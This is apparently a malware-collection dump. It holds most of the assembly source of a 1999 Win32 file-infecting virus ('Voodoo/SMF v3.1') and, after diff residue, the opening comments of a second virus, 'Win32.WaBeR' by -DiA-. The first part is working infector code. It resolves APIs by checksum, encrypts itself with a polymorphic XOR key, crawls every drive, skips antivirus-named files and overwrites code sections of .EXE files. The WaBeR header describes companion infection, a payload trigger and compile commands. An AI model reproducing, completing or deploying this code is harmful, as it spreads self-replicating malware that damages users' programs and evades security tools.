CheckSum2 EQU 05E5F512Fh
|
||||
GlobalAllocCRC EQU 01D2925FEh
|
||||
GlobalLockCRC EQU 0BABEC79Dh
|
||||
GlobalUnlockCRC EQU 09EA2AB80h
|
||||
GlobalFreeCRC EQU 0B3BDC497h
|
||||
|
||||
CreateFileACRC EQU 0FE222F03h
|
||||
CreateFileMappingACRC EQU 0CCF0FBCBh
|
||||
MapViewOfFileCRC EQU 0D3DED3B4h
|
||||
UnmapViewOfFileCRC EQU 0A5ADAF97h
|
||||
FlushViewOfFileCRC EQU 0AFBFBF98h
|
||||
ReadFileCRC EQU 0E5E1DAC2h
|
||||
|
||||
CloseHandleCRC EQU 02731310Dh
|
||||
FindFirstFileACRC EQU 0315E6238h
|
||||
FindNextFileACRC EQU 0C7F4F8CFh
|
||||
SetFileAttributesACRC EQU 0EE2112FBh
|
||||
SetFileTimeCRC EQU 012211900h
|
||||
GetFileSizeCRC EQU 01E2D17F3h
|
||||
GetCommandLineACRC EQU 08CBFBF94h
|
||||
lstrcpyACRC EQU 001342E28h
|
||||
SetFilePointerCRC EQU 065676742h
|
||||
GetCurrentDirectoryCRC EQU 0E012FECDh
|
||||
SetCurrentDirectoryCRC EQU 0E012FED9h
|
||||
GetSystemTimeCRC EQU 018271EF9h
|
||||
_GlobalUnlock EQU 0
|
||||
_GlobalFree EQU _GlobalUnlock+4
|
||||
_CreateFileA EQU _GlobalFree+4
|
||||
_CreateFileMappingA EQU _CreateFileA+4
|
||||
_MapViewOfFile EQU _CreateFileMappingA+4
|
||||
_UnmapViewOfFile EQU _MapViewOfFile+4
|
||||
_FlushViewOfFile EQU _UnmapViewOfFile+4
|
||||
_CloseHandle EQU _FlushViewOfFile+4
|
||||
_FindFirstFileA EQU _CloseHandle+4
|
||||
_FindNextFileA EQU _FindFirstFileA+4
|
||||
_SetFileAttributesA EQU _FindNextFileA+4
|
||||
_SetFileTime EQU _SetFileAttributesA+4
|
||||
_GetFileSize EQU _SetFileTime+4
|
||||
_GetCommandLineA EQU _GetFileSize+4
|
||||
_ReadFile EQU _GetCommandLineA+4
|
||||
_lstrcpyA EQU _ReadFile+4
|
||||
_SetFilePointer EQU _lstrcpyA+4
|
||||
_GetCurrentDirectory EQU _SetFilePointer+4
|
||||
_SetCurrentDirectory EQU _GetCurrentDirectory+4
|
||||
_GetSystemTime EQU _SetCurrentDirectory+4
|
||||
OldEBP EQU _GetSystemTime+4
|
||||
FileSize EQU OldEBP+4
|
||||
HhendleOfFile EQU FileSize+4
|
||||
HhendleOfMapFile EQU HhendleOfFile+4
|
||||
Pointer2MapFile EQU HhendleOfMapFile+4
|
||||
tag EQU Pointer2MapFile+4
|
||||
SearcHandle EQU tag+2
|
||||
SearcHandle2 EQU SearcHandle+4
|
||||
systemtime EQU SearcHandle2+4
|
||||
CODEBUF EQU systemtime +16
|
||||
CommandLine EQU CODEBUF+VirSize
|
||||
CurDir EQU CommandLine+800
|
||||
CurDir2 EQU CurDir+800
|
||||
Win32FindData EQU CurDir2 +800
|
||||
CreationTime EQU Win32FindData+4
|
||||
LastAccessTime EQU CreationTime+4
|
||||
LastWriteTime EQU LastAccessTime+4
|
||||
files EQU LastWriteTime+32
|
||||
|
||||
NumberOfBytesRead EQU MemSize-4
|
||||
.CODE
|
||||
@Name_Pointers_RVA EQU offset Name_Pointers_RVA - offset EntryPoint_
|
||||
@GetProcAddress EQU offset GetProcAddress - offset EntryPoint_
|
||||
@KernelHandle EQU offset KernelHandle - offset EntryPoint_
|
||||
@_GlobalAlloc EQU offset _GlobalAlloc - offset EntryPoint_
|
||||
@_GlobalLock EQU offset _GlobalLock - offset EntryPoint_
|
||||
@MemPointer EQU offset MemPointer - offset EntryPoint_
|
||||
@NextCode EQU offset NextCode - offset EntryPoint_
|
||||
@Dirmask EQU offset Dirmask - offset EntryPoint_
|
||||
@mask EQU offset mask - offset EntryPoint_
|
||||
@disk EQU offset disk - offset EntryPoint_
|
||||
@EntryPointRVA EQU offset EntryPointRVA - offset EntryPoint_
|
||||
@ImportTable EQU offset ImportTable - offset EntryPoint_
|
||||
@EndImportTable EQU offset EndImportTable - offset EntryPoint_
|
||||
Voodoo_Ver_3_1:
|
||||
Call EntryPoint_
|
||||
EntryPoint_:
|
||||
;find MZ in memory
|
||||
;----------------------
|
||||
popravka EQU offset CryptBegin - offset Voodoo_Ver_3_1
|
||||
INCAX EQU offset @INCAX - offset Voodoo_Ver_3_1
|
||||
CRCcode EQU offset @CRCcode - offset Voodoo_Ver_3_1
|
||||
mov al,00
|
||||
call _k
|
||||
_k:pop esi
|
||||
|
||||
mov ecx,VirSize - popravka
|
||||
add esi,offset CryptBegin- offset _k ;10h+18+6
|
||||
mov ebp,esp
|
||||
crypt: xor byte ptr [esi],al
|
||||
mov dword ptr [ebp+18],12345678h
|
||||
cmp dword ptr [ebp+18+1],12345678h
|
||||
jne k
|
||||
jmp Voodoo_Ver_3_0E
|
||||
k: inc esi
|
||||
@INCAX:db 90h, 90h, 90h ;add ax,cx
|
||||
loop crypt
|
||||
CryptBegin:
|
||||
;----------------------
|
||||
popravka2 EQU offset CryptBegin2 - offset Voodoo_Ver_3_1
|
||||
INCAX2 EQU offset @INCAX2 - offset Voodoo_Ver_3_1
|
||||
@CRCcode:
|
||||
mov al,00
|
||||
call _k2
|
||||
_k2:pop esi
|
||||
|
||||
mov ecx,VirSize - popravka2
|
||||
add esi,offset CryptBegin2- offset _k2 ;10h+18+6
|
||||
mov ebp,esp
|
||||
crypt2: xor byte ptr [esi],al
|
||||
mov dword ptr [ebp+18],12345678h
|
||||
cmp dword ptr [ebp+18+1],12345678h
|
||||
jne k2
|
||||
jmp Voodoo_Ver_3_0E
|
||||
k2: inc esi
|
||||
@INCAX2:db 90h, 90h, 90h ;add ax,cx
|
||||
loop crypt2
|
||||
CryptBegin2:
|
||||
;----------------------
|
||||
call _ESI
|
||||
_ESI: pop esi
|
||||
pop ecx
|
||||
call ScanMZ
|
||||
; in esi PE header
|
||||
add esi,80h
|
||||
add edi,dword ptr [esi] ;Import RVA
|
||||
jmp @L1
|
||||
NotKERNEL32:
|
||||
MOV EBX,EBP
|
||||
add edi,00014h
|
||||
@L1:
|
||||
cmp dword ptr [edi+0ch],000000h
|
||||
je NOtFound
|
||||
add ebx,dword ptr [edi+0ch] ;RVA NAme of dll
|
||||
call CRCSum
|
||||
cmp eax,CheckSum
|
||||
jne NotKERNEL32
|
||||
push ebp
|
||||
pop esi
|
||||
add ESI,DWORD ptr [edi+10h] ;KERNEL32 proc
|
||||
mov esi,dword ptr [esi]
|
||||
cmp byte ptr [esi+5],0e9h ; win98
|
||||
jne Ok_
|
||||
add esi,dword ptr [esi+6]
|
||||
Ok_:call ScanMZ
|
||||
;push EBP ;Hendle of KERNEL32.dll
|
||||
add esi,78h
|
||||
add edi,dword ptr [esi] ; edi=Export Directory Table RVA
|
||||
mov eax,ebp
|
||||
add eax,dword ptr [edi+1ch] ; Address Table
|
||||
push eax
|
||||
mov edx,ebp
|
||||
add edx,dword ptr [edi+24h] ; Ordinal Table
|
||||
add ebx,dword ptr [edi+20h] ;ebx=Name Pointers RVA
|
||||
mov dword ptr [ecx+@Name_Pointers_RVA],ebx
|
||||
mov esi,ebx
|
||||
push ecx
|
||||
mov ecx,dword ptr [edi+18h] ; Num of Name Pointers
|
||||
push ecx
|
||||
@L2:call ScanNameTable
|
||||
cmp eax,CheckSum2
|
||||
je FoundGetProcAdr
|
||||
inc esi
|
||||
inc esi
|
||||
inc esi
|
||||
inc esi
|
||||
loop @L2
|
||||
FoundGetProcAdr:
|
||||
pop eax
|
||||
sub eax,ecx ; #function
|
||||
shl eax,1 ; x2
|
||||
; Ordinal Table
|
||||
add edx,eax ;
|
||||
xor eax,eax
|
||||
mov ax,word ptr [edx] ;Ordinal of GetProcAddress
|
||||
shl eax,2 ;x4
|
||||
pop ecx ;entry
|
||||
pop ebx ; offset to Address Table
|
||||
add ebx,eax
|
||||
mov eax,dword ptr [ebx]
|
||||
add eax,ebp
|
||||
mov [@GetProcAddress+ecx],eax
|
||||
mov [@KernelHandle+ecx],ebp
|
||||
mov edx,GlobalAllocCRC
|
||||
call CalkProcAdress
|
||||
mov [@_GlobalAlloc+ecx],eax
|
||||
mov edx,GlobalLockCRC
|
||||
call CalkProcAdress
|
||||
mov [@_GlobalLock+ecx],eax
|
||||
push ecx
|
||||
push MemSize
|
||||
push 0
|
||||
call dword ptr [@_GlobalAlloc+ecx]
|
||||
pop ecx
|
||||
push ecx
|
||||
push eax
|
||||
call dword ptr [@_GlobalLock+ecx]
|
||||
pop ecx
|
||||
mov [@MemPointer+ecx],eax
|
||||
mov eBX,eax
|
||||
mov edi,eax
|
||||
mov esi,@ImportTable
|
||||
add esi,ecx
|
||||
MakeImport:
|
||||
mov edx,dword ptr [esi]
|
||||
call CalkProcAdress
|
||||
cld
|
||||
stosd
|
||||
inc esi
|
||||
inc esi
|
||||
inc esi
|
||||
inc esi
|
||||
cmp word ptr [esi],6666h
|
||||
jne MakeImport
|
||||
mov ebp,ecx ; entry !
|
||||
;--------------------
|
||||
|
||||
;####################
|
||||
call Infect
|
||||
;####################
|
||||
mov esi,ebp
|
||||
sub esi,5
|
||||
mov edi,CODEBUF
|
||||
add edi,ebx ;MemPointer
|
||||
cld
|
||||
mov ecx,VirSize
|
||||
rep movsb
|
||||
NOtFound:
|
||||
cmp [flag],12345678h
|
||||
jne Ret2Prog
|
||||
push 0
|
||||
call ExitProcess
|
||||
Ret2Prog: mov [OldEBP+ebx],ebp
|
||||
mov esi,ebx
|
||||
mov ebp,esi
|
||||
add esi,@NextCode+CODEBUF+5
|
||||
add ebp,CODEBUF+5
|
||||
jmp esi
|
||||
NextCode:
|
||||
call GetCommandLineA
|
||||
mov esi,eax
|
||||
cmp byte ptr [esi+1],':' ;for win9x
|
||||
je NormalCommandLine
|
||||
inc eax
|
||||
NormalCommandLine:
|
||||
push eax
|
||||
mov eax,CommandLine
|
||||
add eax,ebx
|
||||
push eax
|
||||
call lstrcpyA
|
||||
mov esi,CommandLine
|
||||
add esi,ebx
|
||||
push esi
|
||||
@L3: inc esi
|
||||
cmp byte ptr [esi],'.'
|
||||
jne @L3
|
||||
mov byte ptr [esi+4],0
|
||||
pop eax
|
||||
push NULL
|
||||
push FILE_ATTRIBUTE_ARCHIVE
|
||||
push OPEN_EXISTING
|
||||
push NULL
|
||||
push FILE_SHARE_READ ;or FILE_SHARE_WRITE
|
||||
push GENERIC_READ ;or GENERIC_WRITE
|
||||
push eax
|
||||
call CreateFileA
|
||||
mov [HhendleOfFile+ebx],eax
|
||||
push eax
|
||||
push NULL
|
||||
push eax
|
||||
call GetFileSize
|
||||
mov edx,eax
|
||||
sub edx,VirSize
|
||||
pop eax
|
||||
push eax
|
||||
|
||||
push 0
|
||||
push NULL
|
||||
push edx
|
||||
push eax
|
||||
call SetFilePointer
|
||||
pop eax
|
||||
mov edx,[ebx+OldEBP]
|
||||
sub edx,5
|
||||
push edx
|
||||
push NULL
|
||||
mov ecx,NumberOfBytesRead
|
||||
add ecx,ebx
|
||||
push ecx
|
||||
push VirSize
|
||||
push edx
|
||||
push eax
|
||||
call ReadFile
|
||||
pop esi
|
||||
call _EDI
|
||||
EntryPointRVA: dd 0
|
||||
_EDI: pop edi
|
||||
add esi,dword ptr [edi]
|
||||
jmp esi
|
||||
;----------------------------------------------------------
|
||||
PushWin32FindData:
|
||||
mov edx,Win32FindData
|
||||
add edx,ebx
|
||||
ret
|
||||
InfectDir:
|
||||
mov eax,CurDir2
|
||||
add eax,ebx
|
||||
push eax ;
|
||||
push 800
|
||||
call GetCurrentDirectory
|
||||
call Infect_All_files
|
||||
call PushWin32FindData
|
||||
push edx
|
||||
|
||||
mov eax,ebp
|
||||
add eax,@Dirmask
|
||||
push eax
|
||||
call FindFirstFileA
|
||||
mov dword ptr [SearcHandle+ebx],eax
|
||||
l2: call PushWin32FindData
|
||||
push edx
|
||||
push dword ptr [SearcHandle+ebx]
|
||||
call FindNextFileA
|
||||
or eax,eax
|
||||
jz ExitFromProcInfectDir
|
||||
cmp byte ptr [files+ebx],'.'
|
||||
je l2
|
||||
mov eax,[Win32FindData+ebx]
|
||||
and eax,FILE_ATTRIBUTE_DIRECTORY
|
||||
jz l2
|
||||
;set new dir
|
||||
mov edx,CurDir2
|
||||
add edx,ebx
|
||||
push edx
|
||||
call SetCurrentDirectory
|
||||
mov edx,files
|
||||
add edx,ebx
|
||||
; SYSTEM32 ?
|
||||
push ebx
|
||||
mov ebx,edx
|
||||
call CRCSum
|
||||
pop ebx
|
||||
cmp eax,SYSTEM32CRC
|
||||
je l2 ;DoNotInfect
|
||||
push edx
|
||||
call SetCurrentDirectory
|
||||
call Infect_All_files
|
||||
jmp l2
|
||||
ExitFromProcInfectDir:
|
||||
ret
|
||||
;----------------------------------------------------------
|
||||
Infect_All_files:
|
||||
call PushWin32FindData
|
||||
push edx
|
||||
mov edx,@mask
|
||||
add edx,ebp
|
||||
push edx
|
||||
xor ecx,ecx
|
||||
call FindFirstFileA
|
||||
mov dword ptr [SearcHandle2+ebx],eax
|
||||
cmp eax,-1
|
||||
je l2__
|
||||
Next: or eax,eax
|
||||
jz l2__
|
||||
cmp ecx,FileCount
|
||||
jge l2__
|
||||
inc ecx
|
||||
push ecx
|
||||
call InfectFile
|
||||
call PushWin32FindData
|
||||
push edx
|
||||
push dword ptr [SearcHandle2+ebx]
|
||||
call FindNextFileA
|
||||
pop ecx
|
||||
cmp di,9999h
|
||||
jne Noerrror
|
||||
dec ecx
|
||||
xor edi,edi
|
||||
Noerrror:
|
||||
jmp Next
|
||||
l2__: ret
|
||||
;-----------------------------------------------------------
|
||||
Infect:
|
||||
mov eax,CurDir
|
||||
add eax,ebx
|
||||
push eax ;
|
||||
push 800
|
||||
call GetCurrentDirectory
|
||||
call InfectDir
|
||||
mov ecx,DiskCount
|
||||
Scan: push ecx
|
||||
mov eax,@disk
|
||||
add eax,ebp
|
||||
push eax
|
||||
call SetCurrentDirectory
|
||||
call InfectDir
|
||||
inc byte ptr [@disk+ebp]
|
||||
pop ecx
|
||||
loop Scan
|
||||
mov eax,CurDir
|
||||
add eax,ebx
|
||||
push eax ;
|
||||
call SetCurrentDirectory
|
||||
ret
|
||||
;----------------------------------------------------------
|
||||
InfectFile:
|
||||
mov eax,ebx
|
||||
add eax,files
|
||||
cmp word ptr [eax],'-F' ;F-port
|
||||
je @AV
|
||||
cmp word ptr [eax],'WA' ; AW ?
|
||||
je @AV
|
||||
cmp word ptr [eax],'VA' ; AV?????
|
||||
je @AV
|
||||
cmp word ptr [eax+1],'VA' ;NAV,PAV,RAV,_AVP???
|
||||
je @AV
|
||||
cmp word ptr [eax+3],'BE' ;drWeb
|
||||
je @AV
|
||||
cmp word ptr [eax+2],'DN' ;PANDA
|
||||
je @AV
|
||||
cmp dword ptr [eax],'ITNA';ANTI???
|
||||
je @AV
|
||||
cmp dword ptr [eax],'FASV';VSAF???
|
||||
je @AV
|
||||
cmp dword ptr [eax],'PWSV';VSWP???
|
||||
je @AV
|
||||
cmp dword ptr [eax],'VASF';FSAV???
|
||||
je @AV
|
||||
|
||||
push eax
|
||||
push 00000020h
|
||||
push eax
|
||||
call SetFileAttributesA
|
||||
pop eax
|
||||
push NULL
|
||||
push FILE_ATTRIBUTE_ARCHIVE
|
||||
push OPEN_EXISTING
|
||||
push NULL
|
||||
push FILE_SHARE_READ or FILE_SHARE_WRITE
|
||||
push GENERIC_READ or GENERIC_WRITE
|
||||
push eax
|
||||
call CreateFileA
|
||||
cmp eax,-1
|
||||
je Error__
|
||||
call LoadMemPointer
|
||||
mov [HhendleOfFile+ebx],eax
|
||||
push ebx
|
||||
push NULL
|
||||
push eax
|
||||
call GetFileSize
|
||||
pop ebx
|
||||
mov [FileSize+ebx],eax
|
||||
Point@ret:push edx
|
||||
push eax ; to MApViewofFile
|
||||
push NULL
|
||||
push eax
|
||||
push NULL
|
||||
push PAGE_READWRITE
|
||||
push NULL
|
||||
push dword ptr [HhendleOfFile+ebx]
|
||||
call CreateFileMappingA
|
||||
mov [HhendleOfMapFile+ebx],eax
|
||||
; v steke Size
|
||||
push 0
|
||||
push 0
|
||||
push FILE_MAP_WRITE
|
||||
push eax
|
||||
call MapViewOfFile
|
||||
mov [Pointer2MapFile+ebx],eax
|
||||
pop edx
|
||||
cmp word ptr [tag+ebx],6666h
|
||||
je OkOb
|
||||
mov esi,eax
|
||||
CMP byte ptr [esi+18h],40h
|
||||
jl OOO
|
||||
cmp dword ptr [esi+3ch],00010000h
|
||||
jg OOO
|
||||
mov edi,dword ptr [esi+3ch]
|
||||
cmp dword ptr [esi+edi],00004550h ;PE Only !
|
||||
jne OOO
|
||||
cmp dword ptr [esi+6fh],334e4957h ;'WIN3' Infected ?
|
||||
je OOO
|
||||
;find CODE object
|
||||
mov [systemtime+ebx],esi
|
||||
;
|
||||
add esi,edi
|
||||
mov eax,dword ptr [esi+80h] ;Import Table RVA
|
||||
push eax
|
||||
xor ecx,ecx
|
||||
mov cx,word ptr [esi+6h] ;Num of Object
|
||||
MOV EDX,DWORD ptr [esi+28h] ; Entry point RVA
|
||||
mov dword ptr [ebp+@EntryPointRVA],edx
|
||||
mov edx,esi
|
||||
mov eax,24
|
||||
add ax,word ptr [esi+14h]
|
||||
mov edi,esi
|
||||
add edi,eax ;edi=Object Table
|
||||
pop eax ;Import Table RVA
|
||||
pusha
|
||||
mov edx,eax
|
||||
Find_Import_Table:
|
||||
dec ecx
|
||||
mov eax,dword ptr [edi+0ch] ; Object RVA
|
||||
cmp edx,eax
|
||||
jge Mabe
|
||||
IncEDI: add edi,28h
|
||||
or ecx,ecx
|
||||
je Not_Find
|
||||
jmp Find_Import_Table
|
||||
Mabe: add eax,dword ptr [edi+10h] ; SIZE
|
||||
CMP EDX,EAX ; Object RVA =< Import Table RVA =< Object RVA + Phisikal Size
|
||||
jle L22
|
||||
jmp IncEDI
|
||||
L22:
|
||||
mov esi,[Pointer2MapFile+ebx]
|
||||
push edx
|
||||
sub edx,dword ptr [edi+0ch]
|
||||
add esi,edx
|
||||
mov eax,dword ptr [edi+14h] ;Phis offset
|
||||
add esi,eax
|
||||
pop edx ; ESI = Phis offset Import Table
|
||||
mov ecx,dword ptr [edi+0ch] ; Object RVA
|
||||
ECTLI_KERNEL:
|
||||
mov edi,dword ptr [esi+0ch] ; EDI=Name RVA
|
||||
cmp edi,NULL ;
|
||||
je KERNEL_HET
|
||||
sub edi,ecx
|
||||
add edi,eax ; EAX= Phis offset
|
||||
add edi,[Pointer2MapFile+ebx]
|
||||
cmp dword ptr [edi],'NREK';KERNEL
|
||||
je KERNEL_ECT
|
||||
add esi,14h
|
||||
jmp ECTLI_KERNEL
|
||||
KERNEL_HET:
|
||||
Not_Find: popa
|
||||
jmp Code_Not_Find
|
||||
KERNEL_ECT: popa
|
||||
_loop: db 08Bh,47h,24h ;mov eax,dword [edi+024h]
|
||||
EXEC_FLAG EQU 20000020h
|
||||
and eax,EXEC_FLAG
|
||||
jnz Code_Object
|
||||
add edi,2ch
|
||||
loop _loop
|
||||
jmp Code_Not_Find
|
||||
Code_Object:
|
||||
;chek object size
|
||||
cmp dword ptr [edi+10h],VirSize
|
||||
jl Code_Not_Find
|
||||
push esi
|
||||
mov esi,dword ptr [systemtime+ebx]
|
||||
mov dword ptr [esi+6fh],334e4957h
|
||||
pop esi
|
||||
; make writeble
|
||||
or dword ptr [edi+24h],80000000h
|
||||
mov eax,dword ptr [edi+0ch] ;object RVA
|
||||
sub dword ptr [ebp+@EntryPointRVA],eax
|
||||
mov dword ptr [edx+28h],eax ; Set New Entry Point RVA
|
||||
; save old Programm
|
||||
call CloseMapping
|
||||
mov word ptr [ebx+tag],06666h
|
||||
mov eax,dword ptr [ebx+FileSize]
|
||||
push eax
|
||||
add eax,VirSize
|
||||
jmp Point@ret
|
||||
OkOb: mov word ptr [ebx+tag],09999h
|
||||
mov esi,dword ptr [edi+14h] ;phisical offset
|
||||
add esi,dword ptr [ebx+Pointer2MapFile]
|
||||
;add esi,edx
|
||||
pop edi
|
||||
add edi,dword ptr [ebx+Pointer2MapFile]
|
||||
mov ecx,VirSize
|
||||
push esi ;CODE
|
||||
push esi
|
||||
cld
|
||||
rep movsb
|
||||
;write bady to program
|
||||
mov esi,ebp
|
||||
sub esi,5
|
||||
pop edi ; CODE
|
||||
mov ecx,VirSize
|
||||
cld
|
||||
rep movsb
|
||||
mov eax,ebx
|
||||
add eax,systemtime
|
||||
push eax
|
||||
call GetSystemTime
|
||||
mov ax,word ptr [ebx+systemtime+14]
|
||||
pop esi
|
||||
mov byte ptr [esi+6],al
|
||||
mov byte ptr [esi+CRCcode+1],al ; ?
|
||||
mov dword ptr [esi+INCAX],0e2c10366h ;inc ax
|
||||
mov dword ptr [esi+INCAX2],0e2c10366h ;inc ax
|
||||
push esi
|
||||
push eax
|
||||
mov ecx,VirSize- popravka2
|
||||
add esi,offset CryptBegin2- offset Voodoo_Ver_3_1;
|
||||
crypt_2: xor byte ptr [esi],al
|
||||
add ax,cx
|
||||
inc esi
|
||||
loop crypt_2
|
||||
pop eax
|
||||
POP esi
|
||||
mov ecx,VirSize- popravka
|
||||
add esi,offset CryptBegin- offset Voodoo_Ver_3_1;2eh+6
|
||||
crypt_: xor byte ptr [esi],al
|
||||
add ax,cx
|
||||
inc esi
|
||||
loop crypt_
|
||||
|
||||
Code_Not_Find:
|
||||
OOO2: call CloseMapping
|
||||
Error__2: call PushWin32FindData
|
||||
push dword ptr [edx]
|
||||
mov eax,ebx
|
||||
add eax,files
|
||||
push eax
|
||||
call SetFileAttributesA
|
||||
@AV: ret
|
||||
OOO: mov di,9999h
|
||||
jmp OOO2
|
||||
Error__: mov di,9999h
|
||||
jmp Error__2
|
||||
|
||||
;--------------------------------------------------------
|
||||
CalkProcAdress: push ecx
|
||||
push esi
|
||||
push edi
|
||||
mov esi,@Name_Pointers_RVA
|
||||
add esi,ecx
|
||||
mov esi,dword ptr [esi]
|
||||
fCRC: call ScanNameTable
|
||||
cmp eax,edx
|
||||
je foCRC
|
||||
inc esi
|
||||
inc esi
|
||||
inc esi
|
||||
inc esi
|
||||
jmp fCRC
|
||||
foCRC:
|
||||
mov eax,dword ptr [esi]
|
||||
add eax,ebp
|
||||
push eax
|
||||
mov eax,@KernelHandle
|
||||
add eax,ecx
|
||||
push dword ptr [eax]
|
||||
call dword ptr [@GetProcAddress+ecx]
|
||||
pop edi
|
||||
pop esi
|
||||
pop ecx
|
||||
ret
|
||||
;--------------------------------------------------------
|
||||
ScanNameTable:
|
||||
PUSH EBX
|
||||
push ecx
|
||||
mov ebx,ebp
|
||||
add ebx,dword ptr [esi]
|
||||
call CRCSum
|
||||
pop ecx
|
||||
POP EBX
|
||||
ret
|
||||
;--------------------------------------------------------
|
||||
CRCSum: xor eax,eax
|
||||
Sum: add eax,dword ptr [ebx]
|
||||
cmp byte ptr [ebx+4],0
|
||||
je ExitfromCRCSum
|
||||
inc ebx
|
||||
jmp Sum
|
||||
ExitfromCRCSum:
|
||||
ret
|
||||
;--------------------------------------------------------
|
||||
ScanMZ:
|
||||
push ecx ; \/
|
||||
and si,1111000000000000b
|
||||
ScanMZ_:
|
||||
sub esi,1000h
|
||||
cmp word ptr [esi],'ZM'
|
||||
jne ScanMZ_
|
||||
mov edi,esi
|
||||
mov ebx,esi
|
||||
MOV EBP,ESI
|
||||
push esi
|
||||
cmp dword ptr [esi+3ch],00010000h
|
||||
jg NextMZ
|
||||
add esi,dword ptr [esi+3ch]
|
||||
cmp dword ptr [esi],004550h
|
||||
NextMZ:pop esi
|
||||
jne ScanMZ_
|
||||
add esi,dword ptr [esi+3ch]
|
||||
pop ecx
|
||||
ret
|
||||
;---Local ----------
|
||||
CloseMapping:
|
||||
push edx
|
||||
push dword ptr [Pointer2MapFile+ebx]
|
||||
call UnmapViewOfFile
|
||||
push dword ptr [HhendleOfMapFile+ebx]
|
||||
call CloseHandle
|
||||
pop edx
|
||||
ret
|
||||
;--------------------------------------------------------
|
||||
LoadMemPointer:
|
||||
mov ebx,dword ptr ds:[ebp+@MemPointer]
|
||||
ret
|
||||
;----Import---------
|
||||
GetFileSize: call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_GetFileSize]
|
||||
CreateFileA: call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_CreateFileA]
|
||||
CreateFileMappingA:
|
||||
call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_CreateFileMappingA]
|
||||
MapViewOfFile:
|
||||
call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_MapViewOfFile]
|
||||
UnmapViewOfFile:
|
||||
call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_UnmapViewOfFile]
|
||||
FlushViewOfFile:
|
||||
call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_FlushViewOfFile]
|
||||
CloseHandle: call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_CloseHandle]
|
||||
GetCommandLineA:
|
||||
call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_GetCommandLineA]
|
||||
lstrcpyA: call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_lstrcpyA]
|
||||
ReadFile: call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_ReadFile]
|
||||
SetFilePointer: call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_SetFilePointer]
|
||||
FindFirstFileA: call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_FindFirstFileA]
|
||||
FindNextFileA: call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_FindNextFileA]
|
||||
GetCurrentDirectory:
|
||||
call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_GetCurrentDirectory]
|
||||
SetCurrentDirectory:
|
||||
call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_SetCurrentDirectory]
|
||||
SetFileAttributesA:
|
||||
call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_SetFileAttributesA]
|
||||
SetFileTime:
|
||||
call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_SetFileTime]
|
||||
GetSystemTime:
|
||||
call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_GetSystemTime]
|
||||
db '(c) Voodoo/SMF v3.1 07.08.1999'
|
||||
;-------------------
|
||||
GetProcAddress dd 11223344h
|
||||
KernelHandle dd 11223344h
|
||||
Name_Pointers_RVA dd 11223344h
|
||||
_GlobalAlloc dd 11223344h
|
||||
_GlobalLock dd 11223344h
|
||||
MemPointer dd 11223344h
|
||||
disk db 'c:\',0
|
||||
Dirmask DB '*.*',0
|
||||
mask DB '*.EXE',0
|
||||
ImportCount EQU (offset EndImportTable- offset ImportTable)/4
|
||||
ImportTable: dd GlobalUnlockCRC
|
||||
dd GlobalFreeCRC
|
||||
dd CreateFileACRC
|
||||
dd CreateFileMappingACRC
|
||||
dd MapViewOfFileCRC
|
||||
dd UnmapViewOfFileCRC
|
||||
dd FlushViewOfFileCRC
|
||||
dd CloseHandleCRC
|
||||
dd FindFirstFileACRC
|
||||
dd FindNextFileACRC
|
||||
dd SetFileAttributesACRC
|
||||
dd SetFileTimeCRC
|
||||
dd GetFileSizeCRC
|
||||
dd GetCommandLineACRC
|
||||
dd ReadFileCRC
|
||||
dd lstrcpyACRC
|
||||
dd SetFilePointerCRC
|
||||
dd GetCurrentDirectoryCRC
|
||||
dd SetCurrentDirectoryCRC
|
||||
dd GetSystemTimeCRC
|
||||
dw 6666h
|
||||
EndImportTable:
|
||||
Voodoo_Ver_3_0E:
|
||||
Ends
|
||||
End Voodoo_Ver_3_1
|
||||
===== Cut =====
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,321 @@
|
||||
;===========================================================================================
|
||||
; ...:: Win32.WaBeR - ViruS ::...
|
||||
; Version 2.4
|
||||
; by -DiA- (c) 02
|
||||
; GermanY
|
||||
;
|
||||
;
|
||||
;
|
||||
; Here it is! My 1st Win32.Companion Virus ...success!!! :)
|
||||
; Don't grumble about the code, it's my 2th Win32.Virus... ...and I go on. =)
|
||||
; DiA_hates_machine@gmx.de
|
||||
;
|
||||
;
|
||||
;
|
||||
; Some Comments:
|
||||
; -decrypt the strings
|
||||
; -read the counter >not exist = MAKE IT!
|
||||
; >if not 0 = go to the virus and infect some files
|
||||
; >if 0 = jmp to PAYLOAD
|
||||
; -payload:
|
||||
; +after 24 starts the payload aktivate
|
||||
; +it prints a nice message:
|
||||
; ...:Weed And BEer Rulez:...
|
||||
; Win32.WaBeR - ViruS
|
||||
; Version 2.4
|
||||
; by -DiA- (c)02
|
||||
; [PLEASE RESET THE WaBeR-COUNTER : "C:\WaBeR.dll"]
|
||||
; -virus renames found .EXE to .SYS file
|
||||
; -virus copy itself to the .EXE file
|
||||
; -after work the host runs!
|
||||
; -allright...
|
||||
;
|
||||
;
|
||||
; Greetz to Monochrom - without you, this virus can't live :)
|
||||
;
|
||||
;
|
||||
; To Compile the WaBeR - ViruS:
|
||||
; tasm32 /z /ml /m3 WaBeR24,,;
|
||||
; tlink32 -Tpe -c WaBeR24,WaBeR24,, import32.lib
|
||||
;
|
||||
; To Compile the WaBeR - SYS:
|
||||
; tasm32 /z /ml /m3 WaBeR24sys,,;
|
||||
; tlink32 -Tpe -c WaBeR24sys,WaBeR24sys,, import32.lib
|
||||
; rename WaBeR24sys.exe WaBeR24.sys
|
||||
;===========================================================================================
|
||||
|
||||
|
||||
;*******************************************************************************************
|
||||
;*****cut*****WaBeR24.sys*******************************************************************
|
||||
;.386
|
||||
;.model flat
|
||||
;jumps
|
||||
;
|
||||
;extrn MessageBoxA:PROC
|
||||
